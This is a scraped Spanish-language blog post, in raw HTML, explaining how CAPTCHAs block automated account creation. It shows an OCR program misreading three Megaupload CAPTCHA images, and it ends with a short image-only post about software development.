align="justify">Seguro que cuando has deseado registrarte en algún sitio de internet que busque asegurar tu identidad, además de pedirte tu correo, te piden que reconozcas visualmente una serie de caracteres que se te muestran un poco “difusos”, ya sea que las letras o números se encuentren algo “chuecos” o que por encima pasen finas líneas de diversos colores. Bueno pues estos caracteres de seguridad buscan asegurar que quien intenta acceder al servicio sea un humano.</p> <p align="justify">Aunque pueda sonar raro, es un concepto muy sencillo; por ejemplo pensemos en un servicio de internet muy usado como lo es el correo electrónico, digamos hotmail. Al ser un servicio tan popular, es blanco de “crackers” (hackers sin escrúpulos), que buscan “tumbar” este servicio, para lo cual pueden intentar por ejemplo saturar el servidor; Una forma de hacer esto es hacer miles de veces el uso de un servicio de manera simultanea, por ejemplo podrían registrar miles de  nuevas cuentas de correo electrónico al mismo tiempo. Esto es humanamente imposible sin embargo se puede lograr fácilmente con un programa que genere en segundos muchas cuentas validas de manera aleatoria o consecutiva.</p> <p align="justify"><a href="http://lh6.ggpht.com/_Xi9RiXfhuRY/S9fG2sJkwxI/AAAAAAAAAZs/HYFmOgfu65I/s1600-h/live%5B10%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="live" border="0" alt="live" src="http://lh5.ggpht.com/_Xi9RiXfhuRY/S9fG3opr9gI/AAAAAAAAAZw/O9_n2ZX1dXo/live_thumb%5B8%5D.jpg?imgmax=800" width="304" height="220" /></a> </p> <p align="justify"> Para evitar que esto pase, los proveedores de servicios por internet buscan constantemente nuevas técnicas que permitan asegurar que quien haga uso de estos, sean personas y no programas. Una técnica que ha funcionado muy bien es la de “reconocimiento de caracteres de seguridad” que permite que sea la inteligencia única del cerebro humano la que interprete la imagen que se coloca enfrente.</p> <p align="justify">El ocultar los caracteres de la interpretación lógica de un software es todo un arte, debido a que desde hace algunos años existen los OCR (Reconocimiento Óptico de Caracteres) que constan de un software tan versátil que puede reconocer caracteres que se encuentren en una fotografía digitalizada. Un ejemplo de esto son los radares que operan en países desarrollados. Los cuales son capaces de definir los números de la matricula de un vehículo en movimiento que cometa una infracción. </p> <p align="justify">A pesar de esta tecnología existen “trucos” creativos que provocan que los OCR’s cometan errores y no puedan ser utilizados tan fácilmente para vulnerar la seguridad de los registros en servicios por internet.</p> <p align="justify">Por ejemplo, en la siguiente prueba se utilizó <em>ABBYY FineReader</em> en su versión 8, un potente y altamente recomendado OCR de origen Ruso que facilita la tarea de reconocimiento de caracteres;  para buscar descifrar los caracteres del popular sito de carga y descarga de archivos Megaupload.</p> <p align="justify">A pesar de que a simple vista sea fácil detectar los caracteres ocultos en este servicio, los astutos “trucos” usados para ordenar las letras provocan que el software cometa errores.</p> <p align="justify">En la captura 1 el programa toma como imagen la siguiente:</p> <p align="justify"><a href="http://lh4.ggpht.com/_Xi9RiXfhuRY/S9fG4ToHrQI/AAAAAAAAAZ0/AMEkC-nAhy8/s1600-h/MEGAUP%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MEGAUP" border="0" alt="MEGAUP" src="http://lh5.ggpht.com/_Xi9RiXfhuRY/S9fG4-ZuC5I/AAAAAAAAAZ4/M10G991p4QI/MEGAUP_thumb.jpg?imgmax=800" width="102" height="46" /></a> </p> <p>para una persona es fácil interpretar los caracteres NGA3 sin embargo un truco como es la inclinación de las letras en grados específicos, logran que el OCR lo lea como I V G A 3.</p> <p><a href="http://lh6.ggpht.com/_Xi9RiXfhuRY/S9fG7eHVoFI/AAAAAAAAAZ8/czG9biL2JqI/s1600-h/1%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="1" border="0" alt="1" src="http://lh6.ggpht.com/_Xi9RiXfhuRY/S9fG8Age3sI/AAAAAAAAAaA/fCdloqIyyCo/1_thumb.jpg?imgmax=800" width="244" height="157" /></a> </p> <p>Captura 2:</p> <p><a href="http://lh3.ggpht.com/_Xi9RiXfhuRY/S9fG8tNFrDI/AAAAAAAAAaE/9I5D1oIaLM8/s1600-h/MEGAUP1%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MEGAUP1" border="0" alt="MEGAUP1" src="http://lh5.ggpht.com/_Xi9RiXfhuRY/S9fG9IlxbnI/AAAAAAAAAaI/mxucHODc7I4/MEGAUP1_thumb.jpg?imgmax=800" width="87" height="44" /></a> </p> <p>Otro truco como es la superposición de letras logran que los caracteres FQK9  sean interpretados como fOK9.</p> <p><a href="http://lh6.ggpht.com/_Xi9RiXfhuRY/S9fG_5UXl6I/AAAAAAAAAaM/7-XLpCaAq4g/s1600-h/2%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="2" border="0" alt="2" src="http://lh5.ggpht.com/_Xi9RiXfhuRY/S9fHAmg_t6I/AAAAAAAAAaQ/FQzHhoql6SU/2_thumb.jpg?imgmax=800" width="244" height="169" /></a> </p> <p> Captura 3:</p> <p><a href="http://lh6.ggpht.com/_Xi9RiXfhuRY/S9fHBvhQtkI/AAAAAAAAAaU/TPe2vHE0kHo/s1600-h/MEGAUP2%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MEGAUP2" border="0" alt="MEGAUP2" src="http://lh6.ggpht.com/_Xi9RiXfhuRY/S9fHCLv61AI/AAAAAAAAAaY/ouZa01434FM/MEGAUP2_thumb.jpg?imgmax=800" width="88" height="42" /></a> </p> <p>Por ultimo la inclinación en la letra Y y la superposición de la letra P logran que  YPD3   sea leído como  VFD3   </p> <p><a href="http://lh3.ggpht.com/_Xi9RiXfhuRY/S9fHEredDPI/AAAAAAAAAac/4H9-MKBxxSY/s1600-h/3%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="3" border="0" alt="3" src="http://lh4.ggpht.com/_Xi9RiXfhuRY/S9fHFXQXQGI/AAAAAAAAAag/W9XdvOZC8V4/3_thumb.jpg?imgmax=800" width="244" height="157" /></a> </p> <p>Por lo anterior es posible deducir que el arte de los caracteres de seguridad continuará algún tiempo en internet evitando (aunque no en su totalidad) que los “crackers” logren su objetivo de explotar vulnerabilidades para “tumbar” los servicios a los que estamos tan acostumbrados.</p> <p> <div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:fb977197-2733-4aec-b19f-9cd2adea5f09" class="wlWriterEditableSmartContent">Etiquetas de Technorati: <a href="http://technorati.com/tags/EDDYBEYOND" rel="tag">EDDYBEYOND</a>,<a href="http://technorati.com/tags/eddy" rel="tag">eddy</a>,<a href="http://technorati.com/tags/beyond" rel="tag">beyond</a>,<a href="http://technorati.com/tags/OCR" rel="tag">OCR</a>,<a href="http://technorati.com/tags/optico" rel="tag">optico</a>,<a href="http://technorati.com/tags/reconocimiento" rel="tag">reconocimiento</a>,<a href="http://technorati.com/tags/caracter" rel="tag">caracter</a>,<a href="http://technorati.com/tags/registro" rel="tag">registro</a>,<a href="http://technorati.com/tags/servicio" rel="tag">servicio</a>,<a href="http://technorati.com/tags/internet" rel="tag">internet</a></div></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-30186148325801774332010-04-15T03:57:00.001-07:002010-04-15T03:57:59.799-07:00desarrollo de software<p><a href="http://lh3.ggpht.com/_Xi9RiXfhuRY/S8bxH85BI_I/AAAAAAAAAZU/kQNlSAuOxzQ/s1600-h/ingenieria_del_software%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="ingenieria_del_software" border="0" alt="ingenieria_del_software" src="http://lh5.ggpht.com/_Xi9RiXfhuRY/S8bxJE_WnfI/AAAAAAAAAZY/ZKNLOq4oVM0/ingenieria_del_software_thumb.jpg?imgmax=800" width="198" height="244" /></a>  </p> <p> <a href="http://lh4.ggpht.com/_Xi9RiXfhuRY/S8bxMJTBd0I/AAAAAAAAAZc/IWJ4a2NR_F8/s1600-h/software_development%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="software_development" border="0" alt="software_development" src="http://lh5.ggpht.com/_Xi9RiXfhuRY/S8bxNT55zUI/AAAAAAAAAZg/NSOsiBKaHOw/software_development_thumb.jpg?imgmax=800" width="244" height="184" /></a></p> <p><a href="http://blogs.sun.com/jaimecid/resource/software_development.jpg">http://blogs.sun.com/jaimecid/resource/software_development.jpg</a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com1